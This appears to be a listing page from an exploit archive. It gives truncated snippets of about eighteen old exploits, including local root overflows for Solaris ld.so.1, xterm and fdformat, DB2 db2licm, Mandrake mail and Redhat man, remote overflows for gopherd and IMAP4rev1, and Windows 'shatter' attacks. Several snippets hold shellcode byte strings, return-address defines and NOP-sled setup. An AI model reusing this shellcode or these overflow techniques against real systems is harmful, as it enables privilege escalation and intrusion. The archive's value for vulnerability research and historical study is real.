Solaris Runtime Linker (SPARC) - ld.so.1 Local Buffer Overflow

Solaris Runtime Linker SPARC - ld.so.1 Local Buffer Overflow / ld.so.1 exploit SPARC coded by: osker178 bjr213 psu.edu Alright, so this exploits a fairly standard buffer overflow in the default Solaris runtime linker ld.so.1 discovery by Jouko Pynnonen Only real deviation here from the standard...

Shatter XP

Intro ----- Brett Moore from Security Assesment put me onto this one. XP's Visual Styles, the feature that makes various controls in Windows XP look a less dated, also introduce a new shatter type vulnerability into the OS. Vuln ------- Applications which have the new XPified appearance use...

shatterSEH3.txt

============================================================================ = Shattering SEH III = = [email protected] = http://www.security-assessment.com = = Originally posted: September 29, 2003 ============================================================================ ==...

IBM DB2 - Universal Database 7.2 'db2licm' Local Overflow

/ Local Exploit for db2licm IBM db2 v 7.1 Linux/x86 vulnerability researched by Juan Manuel Pascual Escriba pask at uninet.edu / char sc= "\x31\xc0" / begin setuid 0 / "\x31\xdb" "\xb0\x17" "\xcd\x80" "\xeb\x1f" "\x5e" "\x89\x76\x08" "\x31\xc0" "\x88\x46\x07" "\x89\x46\x0c" "\xb0\x0b" "\x89\xf3"...

Gopherd 3.0.5 - FTP Gateway Remote Overflow

/ UMN gopherd2.x.x/3.x.x: remote "ftp gateway" buffer overflow. by: vade79/v9 v9 at fakehalo.deadpig.org fakehalo/realhalo three years since last audit, code is a little more secure. but, still found a few potentially exploitable situations. this exploits the "ftp gateway" feature of gopherd. the...

xtokkaetama 1.0b (RedHat 9.0) - Local Game

xtokkaetama 1.0b RedHat 9.0 - Local Game / xtokkaetama 1.0b local game exploit on Red Hat 9.0 Coded by brahma 31/07/2003 http://www.debian.org/security/2003/dsa-356 / include define RETADDR 0xbfffff11 define DEFAULTBUFFERSIZE 29 define DEFAULTEGGSIZE 512 define NOP 0x90 define BIN...

shatterSEH2.txt

moderator: I forgot the link :- ========================================================================= = Shattering SEH II = = [email protected] = http://www.security-assessment.com = = Originally posted: July 28, 2003...

Mandrake Linux 8.2 - '/usr/mail' Local Overflow

!/usr/bin/perl Mandrake 8.2 /usr/mail local exploit Usage: perl d86mail.pl offset Then enter "." dot and press 'Enter' Example: satan@localhost my$ perl d86mail.pl eip: 0xbffffddd .enter Cc: too long to edit sh-2.05$ $shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"...

Microsoft Windows XP2000NT 4.0 - Window Message Subsystem Design Error (3)

Microsoft Windows XP2000NT 4.0 - Window Message Subsystem Design Error 3 // source: https://www.securityfocus.com/bid/5408/info A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely...

Elm 2.5.3 - Alternative-Folder Buffer Overflow

Elm 2.5.3 - Alternative-Folder Buffer Overflow // source: https://www.securityfocus.com/bid/2403/info There is a buffer overflow in elm 2.5 PL3. This overflow is accessible by passing a long string to the -f Alternative-Folder command-line option. This vulnerability may not be restricted to this...

Redhat 6.1 man Local Exploit (egid 15)

Exploit for linux platform in category local exploits ====================================== Redhat 6.1 man Local Exploit egid 15 ====================================== !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - email protected $shellcode =...

IMAP4rev1 10.190 - Authentication Stack Overflow

IMAP4rev1 10.190 - Authentication Stack Overflow !/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by: [email protected] / anno 2000 This is nothing new - just wrote it for fun. $shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80"...

Debian 2.2 - splitvt Format String

Debian 2.2 - splitvt Format String // source: https://www.securityfocus.com/bid/2210/info splitvt is a VT100 window splitter, designed to allow the user two command line interfaces in one terminal window, originally written by Sam Lantinga. It is freely available, open source, and included with...

phf buffer overflow exploit for Linux-x86

Exploit for cgi platform in category web applications ========================================= phf buffer overflow exploit for Linux-x86 ========================================= / | phx.c -- phf buffer overflow exploit for Linux-ix86 | Copyright c 2000 by proton. All rights reserved. | | This...

Solaris/SPARC 2.7 / 7 locale Format String Exploit

Exploit for solaris platform in category local exploits ================================================== Solaris/SPARC 2.7 / 7 locale Format String Exploit ================================================== / Exploit for the locale format string vulnerability in Solaris/SPARC 2.7 / 7 Based on t...

pine421.txt

/ PINE Exploit 4.21 bTm Proof of Concept: Pine 4.21 There exists a vulnerability in Pine 4.21 involving the portion of code in charge of peroidically checking email when a pine client is open. Run pine in one window, then send an email to the account owning that session. Switch back over and hit...

Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits

Exploit for solaris platform in category local exploits ============================================================= Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits ============================================================= ---------------------------- file newpass.c...

Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit

Exploit for solaris platform in category local exploits ===================================================== Solaris 5.5.1 X11R6.3 xterm -xrm Local Root Exploit ===================================================== / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include inclu...

Solaris 2.4 - '/bin/fdformat' Local Buffer Overflow

--------------------------- lion24.c --------------------------------- / Solaris 2.4 / include include include include define BUFLENGTH 264 define EXTRA 36 define STACKOFFSET -56 define SPARCNOP 0xa61cc013 uchar sparcshellcode = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"...